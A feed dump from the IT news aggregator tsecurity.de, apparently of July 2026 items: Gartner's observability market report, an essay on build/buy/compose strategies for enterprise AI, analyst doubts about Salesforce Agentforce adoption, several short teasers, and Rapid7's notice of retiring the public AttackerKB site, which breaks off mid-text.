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<title><![CDATA[AI workloads shake up observability market]]></title>
<description><![CDATA[Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.



Vendors are investing heavily in AI observability, autonomous investigati...]]></description>
<link>https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</guid>
<pubDate>Fri, 17 Jul 2026 18:28:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/972187/how-to-shop-for-network-observability-tools.html" target="_blank">Observability platforms</a> are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.</p>



<p class="wp-block-paragraph">Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest <a href="https://www.gartner.com/en/documents/8114397" target="_blank" rel="noreferrer noopener">Magic Quadrant for Observability Platforms</a>.</p>



<p class="wp-block-paragraph">Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.</p>



<p class="wp-block-paragraph">There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)</p>



<p class="wp-block-paragraph">Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.</p>



<h2 class="wp-block-heading">AI observability emerges as a key differentiator</h2>



<p class="wp-block-paragraph">Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies <a href="https://www.networkworld.com/article/4047640/ai-networking-success-requires-deep-real-time-observability.html" target="_blank">AI observability</a> as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.</p>



<p class="wp-block-paragraph">The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality. </p>



<p class="wp-block-paragraph">“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.</p>



<h2 class="wp-block-heading">Cost management becomes a top priority</h2>



<p class="wp-block-paragraph">While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.</p>



<p class="wp-block-paragraph">As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.</p>



<p class="wp-block-paragraph">Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.</p>



<h2 class="wp-block-heading">OpenTelemetry is table stakes as consolidation continues</h2>



<p class="wp-block-paragraph">The growing impact of open standards is a major shift for observability, Gartner notes.</p>



<p class="wp-block-paragraph">The widespread adoption of <a href="https://www.networkworld.com/article/3621642/5-reasons-why-2025-will-be-the-year-of-opentelemetry.html" target="_blank">OpenTelemetry</a> and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.</p>



<p class="wp-block-paragraph">As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.</p>



<h2 class="wp-block-heading">The rise of operational intelligence</h2>



<p class="wp-block-paragraph">As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.</p>



<p class="wp-block-paragraph">For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.</p>
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<title><![CDATA[Vom Softphone-Wirrwarr zur spezialisierten Kommunikationsumgebung]]></title>
<description><![CDATA[Cloud-Telefonie, Unified Communications und digitale Workflows verändern die Unternehmenskommunikation grundlegend. 

Tags: #Kommunikationstools | #Snom]]></description>
<link>https://tsecurity.de/de/3676118/it-security-nachrichten/vom-softphone-wirrwarr-zur-spezialisierten-kommunikationsumgebung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676118/it-security-nachrichten/vom-softphone-wirrwarr-zur-spezialisierten-kommunikationsumgebung/</guid>
<pubDate>Fri, 17 Jul 2026 15:05:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1081" src="https://www.it-daily.net/wp-content/uploads/2026/07/Softphone_Wirrwarr-1920.png" class="attachment-full size-full wp-post-image" alt="Softphone_Wirrwarr" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/07/Softphone_Wirrwarr-1920.png 1920w, https://www.it-daily.net/wp-content/uploads/2026/07/Softphone_Wirrwarr-1920-300x169.png 300w, https://www.it-daily.net/wp-content/uploads/2026/07/Softphone_Wirrwarr-1920-1024x577.png 1024w, https://www.it-daily.net/wp-content/uploads/2026/07/Softphone_Wirrwarr-1920-768x432.png 768w, https://www.it-daily.net/wp-content/uploads/2026/07/Softphone_Wirrwarr-1920-1536x865.png 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Vom Softphone-Wirrwarr zur spezialisierten Kommunikationsumgebung 1"></p>
    Cloud-Telefonie, Unified Communications und digitale Workflows verändern die Unternehmenskommunikation grundlegend. 

<p>Tags: <a href="https://www.it-daily.net/thema/kommunikationstools">#Kommunikationstools</a> | <a href="https://www.it-daily.net/thema/snom">#Snom</a></p>]]></content:encoded>
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<title><![CDATA[A unified front against fraud: Securing the UK's payments future]]></title>
<description><![CDATA[As sophisticated scams escalate, can a unified front finally secure the UK’s payments?]]></description>
<link>https://tsecurity.de/de/3675743/it-nachrichten/a-unified-front-against-fraud-securing-the-uks-payments-future/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675743/it-nachrichten/a-unified-front-against-fraud-securing-the-uks-payments-future/</guid>
<pubDate>Fri, 17 Jul 2026 12:33:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As sophisticated scams escalate, can a unified front finally secure the UK’s payments?]]></content:encoded>
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<title><![CDATA[The build vs. buy dilemma at the heart of enterprise AI]]></title>
<description><![CDATA[For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.



AI is introducing a wrin...]]></description>
<link>https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.</p>



<p class="wp-block-paragraph">AI is introducing a wrinkle that is forcing even the most committed enterprise software customers to rethink their options. AI is a layer that sits across your data, your processes, and your decisions. Where that layer runs and who controls it is an architecture question, and most of the enterprise community is still treating it as a procurement one.</p>



<p class="wp-block-paragraph">The appeal of vendor-embedded AI is clear: automated operational decisions, smarter supplier and merchandising choices, and friction-free workflows built into the systems enterprises already rely on. The catch is that these capabilities almost universally depend on your data living in the vendor’s cloud environment. For most large enterprises, it sits on-premises, in hyperscale cloud infrastructure they manage themselves, or in private data centers. That gap between where your data is and where your vendor’s AI assumes it should be creates a fundamental strategic fork in the road.</p>



<h2 class="wp-block-heading"><a></a>Build vs. buy is a category error</h2>



<p class="wp-block-paragraph">The framing I keep hearing is “build vs. buy your AI strategy.” It implies that some organizations are out there training foundation models from scratch. Nobody serious is doing that. The real choice sits across three distinct approaches, and conflating them leads to poor decisions:</p>



<ul class="wp-block-list">
<li><strong>Buy embedded. </strong>Use the AI capabilities your vendor ships natively inside their platform: the assistant baked into your ERP, your CRM, your HCM suite. Lowest integration cost, fastest time to value, tightest fit with the application data.</li>



<li><strong>Buy platform.</strong> Adopt the vendor’s AI infrastructure layer and build your own assistants and agents on top of it. More flexible, but you remain inside the vendor’s architectural boundary and subject to their governance model.</li>



<li><strong>Compose.</strong> Connect a third-party model (Claude, GPT, Gemini, an open-weight model running in your own environment) directly to your existing landscape. Maximum control, maximum integration burden, and full responsibility for what comes out the other end.</li>
</ul>



<p class="wp-block-paragraph">These are not equivalent options at different price points. They make different assumptions about where your data lives, who governs the AI, and how much architectural change you’ll absorb to get there. Vendor pitches sometimes blur the distinction on purpose. Enterprise leaders can’t afford to.</p>



<h2 class="wp-block-heading"><a></a>The vendor AI stack has an assumption baked in</h2>



<p class="wp-block-paragraph">Every embedded AI capability ships with an unstated architectural prerequisite: your data must be where the AI can see it, in the shape it expects, under the governance the vendor enforces.</p>



<p class="wp-block-paragraph">For organizations with clean, modern cloud estates, that is often a reasonable trade. For the long tail of large enterprises running heavily customized environments on private or hybrid infrastructure, that trade becomes a precondition, one you must meet before the AI conversation can even begin. Whether meeting it makes sense depends on your starting point, your sector’s regulatory posture, and your appetite for migration risk. None of those are uniform across organizations.</p>



<p class="wp-block-paragraph">That’s the part that gets glossed over in vendor keynotes. The AI demo on stage assumes a destination architecture the audience hasn’t necessarily reached yet. Large enterprise customers are carrying an unusually heavy technology burden right now. Many are simultaneously managing platform modernization programs that have been building for over a decade, alongside pressure to migrate to vendor-managed cloud infrastructure. Sitting above both is a boardroom-level directive to demonstrate meaningful AI progress fast. The vendor path to AI and the boardroom path to AI can diverge sharply, and enterprises need to make selective, strategic decisions about where to adopt AI first to maximize value and minimize risk.</p>



<h2 class="wp-block-heading"><a></a>Sovereignty isn’t a slogan, it’s an architecture constraint</h2>



<p class="wp-block-paragraph">The conversation about sovereignty has been hijacked by both sides. One camp treats every SaaS adoption as a sovereignty violation. The other dismisses every sovereignty concern as Luddite resistance. Neither is useful.</p>



<p class="wp-block-paragraph">What’s happening in real customer conversations – particularly in DACH, public sector, and financial services – is more specific. Organizations are drawing a distinction between running their applications in a vendor’s cloud (which is broadly fine, well understood, decades of precedent) and enriching their data and processes inside a vendor’s AI model (which has less precedent, is harder to reverse, and carries material implications for competitive position).</p>



<p class="wp-block-paragraph">Enriching your data inside a vendor’s AI model is the genuinely new question, and organizations that conflate it with their existing cloud posture tend to defend the wrong perimeter.</p>



<p class="wp-block-paragraph">Despite spending around $100 million annually with Amazon, <a href="https://www.uctoday.com/unified-communications/disney-openai-enterprise-strategy/">Disney built its own internal AI system</a> to house its corporate intelligence rather than rely on a hyperscaler’s AI offering. The decision came down to control. When your data represents decades of creative and commercial IP, you think carefully about where it lives and who can learn from it. Disney has become more open to SaaS over time. The AI sovereignty question is a separate debate from the SaaS debate and conflating the two leads organizations to the wrong conclusions.</p>



<p class="wp-block-paragraph">At the other end of the spectrum, enterprises in heavily regulated environments treat data sovereignty as an absolute non-negotiable. Any AI model must run within their controlled environment, especially where sensitive data cannot touch the public internet.<a href="https://gdpr.eu/what-is-gdpr/"> </a><a href="https://gdpr.eu/what-is-gdpr/">GDPR obligations</a> reinforce this instinct across the European market, requiring organizations to maintain clear accountability for how personal data is processed inside AI systems, including vendor-managed ones.</p>



<p class="wp-block-paragraph">AI-enriched data, meaning models that have learned the shape of your business processes, your supplier negotiations, your customer behavior, carries a different half-life and a different strategic value than the operational data underneath it. That deserves its own architectural decision, separate from your broader cloud strategy.<a></a></p>



<h2 class="wp-block-heading">What this means in practice</h2>



<p class="wp-block-paragraph">Most large enterprise estates will end up with a mix of all three approaches, and where you draw the lines matters more than your overall posture.</p>



<p class="wp-block-paragraph">Embedded AI capabilities are the right answer for in-application productivity: the assistant inside your ERP workflows, the agent inside your procurement or HR suite. That is where vendor embedding genuinely shines, and attempting to compose your own equivalent is typically a poor use of engineering resources.</p>



<p class="wp-block-paragraph">Compose belongs elsewhere: in cross-application orchestration, in custom assistants over operational and observability data, and in agents that need to reach across multiple vendor systems and infrastructure layers in ways no single vendor stack will never natively support. <a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/the-top-trends-in-tech">Research from McKinsey</a> suggests the most significant near-term productivity gains from enterprise AI will come precisely from these cross-system workflows, rather than from within individual applications. The most interesting enterprise AI work over the next eighteen months lives here, and it doesn’t require waiting for a migration to complete first.</p>



<p class="wp-block-paragraph">That compose path isn’t free, and it’s important to be honest about the costs. Governance, audit trails, and accountability for hallucinated outputs become your problem, not the vendor’s. Prompt drift and evaluation discipline are real engineering costs that never appear in the proof-of-concept. Those costs scale with the complexity of your landscape and the number of systems your agents touch. Budget for them before deployment, not after your first production incident. None of that is a reason to avoid the path. It’s a reason to staff for it, honestly.<a></a></p>



<h2 class="wp-block-heading">The real question</h2>



<p class="wp-block-paragraph">The build-vs-buy frame survives because it gives executives a binary choice along a familiar axis. AI sits somewhere else entirely.</p>



<p class="wp-block-paragraph">The question worth putting on the table at your next architecture review is simpler:</p>



<p class="wp-block-paragraph">Which decisions do we want our vendors’ AI to make, and which do we want to keep on our side of the boundary?</p>



<p class="wp-block-paragraph">Answer that, and the right build/buy/compose mix flows from it. Skip it, and you will end up with the architecture your vendors prefer – which may or may not be the one your business needs.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Salesforce’s Agentforce product maturity questioned as KeyBanc cites weak customer traction]]></title>
<description><![CDATA[Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, followi...]]></description>
<link>https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, following customer checks and a CIO survey.</p>



<p class="wp-block-paragraph">“Our checks and customer conversations have not been strong, nor has the feedback been on Agentforce. What we can piece together in the disclosed numbers does not signal building momentum and, most recently, our CIO survey delivered another blow with Salesforce being a standout for the wrong reasons,” according to a<a href="https://seekingalpha.com/news/4612661-salesforce-receives-downgrade-to-sector-weight-as-agentforce-fails-to-gain-momentum-keybanc"> Seeking Alpha</a> that quoted a KeyBanc research note.</p>



<p class="wp-block-paragraph">“We attend more Salesforce partner and customer events than any other company in our coverage, and feedback from those customers has been consistent in two ways: 1) customers’ data is not in order to do meaningful AI work; and 2) Agentforce, as a product, just isn’t there,” Seeking Alpha reported, quoting the KeyBanc note.</p>



<p class="wp-block-paragraph">The KeyBanc note quoted by Seeking Alpha also pointed out that conversations with Salesforce “partners” indicate that Agentforce proof-of-concept deployments are only now starting to generate pipeline opportunities, while its CIO survey found more respondents expecting to deprioritize Salesforce within their IT budget than the other way around over the coming 12 months.</p>



<p class="wp-block-paragraph">The findings in the research note stand in contrast to Salesforce’s sustained push to position Agentforce as its flagship enterprise AI platform. Since introducing the offering nearly two years back, the company has expanded it with new <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">foundation models, integrations</a>, deployment options, and pricing initiatives, most recently introducing its <a href="https://www.cio.com/article/4159536/salesforce-launches-headless-360-to-support-agent-first-enterprise-workflows.html">Headless 360</a> strategy to make Agentforce available beyond conventional CRM workflows through a more flexible consumption model.</p>



<p class="wp-block-paragraph">Parts of that flexible consumption model and Agentforce pricing, which Salesforce is still evolving, have already come under scrutiny with industry analysts <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">expressing concern</a> that Headless 360’s monetization model could create budgeting headaches for CIOs by making AI spending less predictable and increasing pressure on IT leaders to demonstrate measurable business outcomes and return on investment before expanding deployments.</p>



<h2 class="wp-block-heading">Concerns over product maturity</h2>



<p class="wp-block-paragraph">Those concerns around Agentforce’s evolving pricing model appear to be intersecting with the latest concerns about product maturity that KeyBanc analysts mention in their report.</p>



<p class="wp-block-paragraph">“Three pricing model changes in roughly 18 months make procurement committees nervous, and if the commercial model keeps shifting, buyers question whether the product has stabilized either,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Salesforce’s latest consumption-based pricing model, Chopra pointed out, is a bigger concern: “It is harder to budget for than seat-based licensing. CIOs want a clearer line between spend and outcome. That line isn’t clear enough yet.”</p>



<p class="wp-block-paragraph">Greyhound Research Chief Analyst <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, too, said that the pricing model is a fundamental issue for enterprises.</p>



<p class="wp-block-paragraph">While Salesforce’s pricing model charges enterprises for AI activity, it leaves customers to determine whether those interactions ultimately translate into meaningful business outcomes, Gogia said.</p>



<p class="wp-block-paragraph">That, according to <a href="https://reimagine.nelson-hall.com/analysts/1521" target="_blank" rel="noreferrer noopener">Gaurav Parab</a>, principal research analyst at NelsonHall, is slowing adoption because enterprise leaders, such as CIOs, are under pressure to evaluate TCO and expected ROI.</p>



<p class="wp-block-paragraph">“Most enterprises first want confidence that AI deployments will generate measurable business outcomes before committing to broader rollouts,” he said.</p>



<h2 class="wp-block-heading">Data Cloud and data readiness remain as challenges</h2>



<p class="wp-block-paragraph">Pricing, though, is just one piece of the equation.</p>



<p class="wp-block-paragraph">The discussion about Agentforce adoption, analysts said, cannot be separated from Salesforce’s broader product strategy, which positions Agentforce alongside Data Cloud as the foundation for enterprise AI deployments.</p>



<p class="wp-block-paragraph">“Data modernization has become one of the biggest determinants of adoption. Agentforce depends on trusted, unified enterprise data to generate reliable outcomes. For many organizations, preparing that data foundation through Data 360, integration, governance, and data quality initiatives represents a significant part of the implementation effort,” Purab said, backing the KeyBanc research note.</p>



<p class="wp-block-paragraph">Chopra seconded that assessment, saying Data Cloud has effectively become a prerequisite for production-grade Agentforce: “We worked with a private equity fund administrator where the AI layer only became reliable once we had clean, structured data feeding into Salesforce consistently. Before that, even well-configured automation produced inconsistent outputs.”</p>



<p class="wp-block-paragraph">In practice, that means many enterprises need to invest separately in Data Cloud, data integration, governance, and cleanup before Agentforce can be deployed reliably at scale, Chopra said.</p>



<h2 class="wp-block-heading">Implementation challenges are slowing adoption</h2>



<p class="wp-block-paragraph">Product maturity aside, those implementation challenges, Purab pointed out, are also contributing to a slower pace of Agentforce adoption in enterprises than anticipated.</p>



<p class="wp-block-paragraph">While interest in Agentforce continues to grow, enterprises, according to the analyst, are largely limiting deployments to targeted, high-value use cases while they establish trusted data foundations, integrate with existing systems, and demonstrate measurable business value.</p>



<p class="wp-block-paragraph">More so because Data Cloud accelerates Agentforce once the foundation is coherent,  it cannot make incoherence disappear, Gogia pointed out.</p>



<p class="wp-block-paragraph">Chopra, too, said his conversations with enterprise customers closely mirror Purab and KeyBanc’s findings: “The issue isn’t appetite. The issue is that their CRM data is fragmented, partially duplicated, and inconsistently structured. You can’t put an AI agent on top of that and expect reliable outputs.”</p>



<p class="wp-block-paragraph">“Cleaning that up takes months. That work doesn’t show in a vendor’s deal count, which is why signed agreements and actual production deployments are two very different numbers right now.”</p>



<h2 class="wp-block-heading">Timing issue or execution gap?</h2>



<p class="wp-block-paragraph">Despite all the challenges, though, Purab said that the slower pace of current adoption is not necessarily indicative of a long-term problem.</p>



<p class="wp-block-paragraph">“I see it as a timing issue, but it has always been the case. Enterprise AI adoption has consistently followed the maturity of data, governance, and operating models. Salesforce will undoubtedly continue refining the product, pricing, and go-to-market approach, but the larger challenge lies in enterprise readiness,” Purab said.</p>



<p class="wp-block-paragraph">“As organizations strengthen their data foundations and gain confidence in deploying AI responsibly, Agentforce adoption is likely to broaden significantly,” Purab added.</p>



<p class="wp-block-paragraph">Chopra, in contrast, offered a more nuanced view: “While data readiness, which is a customer issue, will improve with time, Salesforce needs to fix its go-to-market strategy.”</p>



<p class="wp-block-paragraph">“Three pricing changes in 18 months, a product that requires significant pre-investment before it delivers value, and implementation complexity that most mid-market buyers aren’t resourced for is definitely a positioning gap Salesforce needs to close,” Chopra said.</p>



<p class="wp-block-paragraph">Regardless of whether the current slowdown proves temporary or structural, both analysts agreed that the next six to twelve months should provide a clearer picture of Agentforce’s trajectory.</p>



<p class="wp-block-paragraph">For CIOs evaluating the platform, they said, the focus should be less on headline product announcements and more on tangible indicators of enterprise adoption and operational maturity.</p>



<p class="wp-block-paragraph">“The key indicators will be an increase in enterprise-scale production deployments rather than pilots, broader adoption beyond customer service into other business functions, stronger customer references demonstrating measurable business outcomes, continued simplification of pricing and deployment models, and greater maturity around governance, security, and operating models for AI agents,” Purab said.</p>



<p class="wp-block-paragraph">For Chopra, CIOs should go a step further by measuring how AI agents perform in production rather than simply tracking deployment numbers: “Containment rate in production — what percentage of agent interactions are resolved without human escalation — is the real performance signal, not token volume or deal count.”</p>



<p class="wp-block-paragraph">Salesforce did not immediately respond to a request for comment.</p>
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<title><![CDATA[Save $400 on Apple's M5 Max MacBook Pro 16-inch with spacious 2TB SSD]]></title>
<description><![CDATA[Amazon's $400 discount on Apple's high-end 16-inch MacBook Pro with an M5 Max chip and 2TB SSD is available now, with delivery as early as tomorrow for Prime members.Save $400 on Apple's 2TB M5 Max MacBook Pro at Amazon - Image credit: AppleThe M5 Max 16-inch MacBook Pro is on sale for $3,999 at ...]]></description>
<link>https://tsecurity.de/de/3674568/ios-mac-os/save-400-on-apples-m5-max-macbook-pro-16-inch-with-spacious-2tb-ssd/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674568/ios-mac-os/save-400-on-apples-m5-max-macbook-pro-16-inch-with-spacious-2tb-ssd/</guid>
<pubDate>Thu, 16 Jul 2026 22:06:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon's $400 discount on Apple's high-end 16-inch MacBook Pro with an M5 Max chip and 2TB SSD is available now, with delivery as early as tomorrow for Prime members.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68271-143904-m5-max-macbook-pro-400-off-xl.jpg" alt="MacBook Pro laptop with glowing abstract screen on dark gradient background, large bold white text across display reading M5 MAX $400 OFF, suggesting a promotional discount on a high-end computer." height="720"><br><span>Save $400 on Apple's 2TB M5 Max MacBook Pro at Amazon - Image credit: Apple</span></div><br>The M5 Max 16-inch MacBook Pro is <strong><a href="https://www.amazon.com/dp/B0GR1G1FY7/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">on sale for $3,999</a></strong> at Amazon in your choice of Space Black or Silver. This high-end configuration has Apple's M5 Max chip with an 18-core CPU and 32-core GPU, along with 36GB of unified memory and a spacious 2TB SSD.<br><br><a href="https://www.amazon.com/dp/B0GR1G1FY7/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Save $400 on M5 Max 16" MacBook Pro</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/16/save-400-on-apples-m5-max-macbook-pro-16-inch-with-spacious-2tb-ssd?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244977?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[What are the new features in Android Studio Quail 2?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 22x - Views:241 It’s time to remove the manual friction from the debugging cycle. The latest updates in Android Studio Quail 2 are designed to bring essential development and troubleshooting tasks directly into a single, unified workspace.

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<link>https://tsecurity.de/de/3674072/videos/what-are-the-new-features-in-android-studio-quail-2/</link>
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<pubDate>Thu, 16 Jul 2026 18:19:24 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 22x - Views:241 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/wjy2q43TsTk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>It’s time to remove the manual friction from the debugging cycle. The latest updates in Android Studio Quail 2 are designed to bring essential development and troubleshooting tasks directly into a single, unified workspace.<br />
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Subscribe to Google for Developers → https://goo.gle/developers <br />
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#GoogleDeveloperNews<br />
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Products Mentioned: Android<br/></p>]]></content:encoded>
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<title><![CDATA[Announcing the General Availability of Prisma AIRS AI Gateway]]></title>
<description><![CDATA[Every modern enterprise is moving from an organization run by software to one orchestrated by AI, creating a tension between velocity and control. To resolve this tension, organizations require a unified architecture. … The post Announcing the General Availability of…
Read more →
The post Announc...]]></description>
<link>https://tsecurity.de/de/3673950/it-security-nachrichten/announcing-the-general-availability-of-prisma-airs-ai-gateway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673950/it-security-nachrichten/announcing-the-general-availability-of-prisma-airs-ai-gateway/</guid>
<pubDate>Thu, 16 Jul 2026 17:23:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Every modern enterprise is moving from an organization run by software to one orchestrated by AI, creating a tension between velocity and control. To resolve this tension, organizations require a unified architecture. … The post Announcing the General Availability of…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/announcing-the-general-availability-of-prisma-airs-ai-gateway/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/announcing-the-general-availability-of-prisma-airs-ai-gateway/">Announcing the General Availability of Prisma AIRS AI Gateway</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Sunsetting the Public AttackerKB Platform]]></title>
<description><![CDATA[What’s changing, where AttackerKB-style analysis will live, and how users can continue finding Rapid7 vulnerability intelligence.On August 18, Rapid7 will sunset the standalone public AttackerKB website as part of a broader effort to unify our vulnerability intelligence, exploit analysis, and res...]]></description>
<link>https://tsecurity.de/de/3673613/it-security-nachrichten/sunsetting-the-public-attackerkb-platform/</link>
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<pubDate>Thu, 16 Jul 2026 15:23:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span><em>What’s changing, where AttackerKB-style analysis will live, and how users can continue finding Rapid7 vulnerability intelligence.</em></span></p><p><span>On August 18, Rapid7 will sunset the standalone public AttackerKB website as part of a broader effort to unify our vulnerability intelligence, exploit analysis, and research resources.</span></p><p><span>Security practitioners, researchers, vulnerability managers, and current AttackerKB API users will still be able to find Rapid7 vulnerability intelligence through the </span><a href="https://www.rapid7.com/blog" target="_self"><span>Rapid7 blog</span></a><span>, the recently revamped </span><a href="https://www.rapid7.com/db" target="_self"><span>Rapid7 Vulnerability and Exploit Database</span></a><span>, and customer-specific API experiences, where applicable.</span></p><p><span>The public AttackerKB platform is going away, but the intelligence and analysis that security teams rely on are </span><span><em><strong>not</strong></em></span><span> disappearing. Instead, they’re moving into experiences more closely connected with Rapid7’s broader research and vulnerability intelligence ecosystem.</span></p><h2><span>What’s changing</span></h2><ul><li><p><span>The public AttackerKB website will be retired on August 18.</span></p></li><li><p><span>AttackerKB-style Rapid7 technical write-ups will continue on the Rapid7 blog.</span></p></li><li><p><span>Vulnerability intelligence will remain connected to the Rapid7 Vulnerability and Exploit Database.</span></p></li><li><p><span>Open community contributions and the current public AttackerKB API will be retired.</span></p></li></ul><h2><span>Where 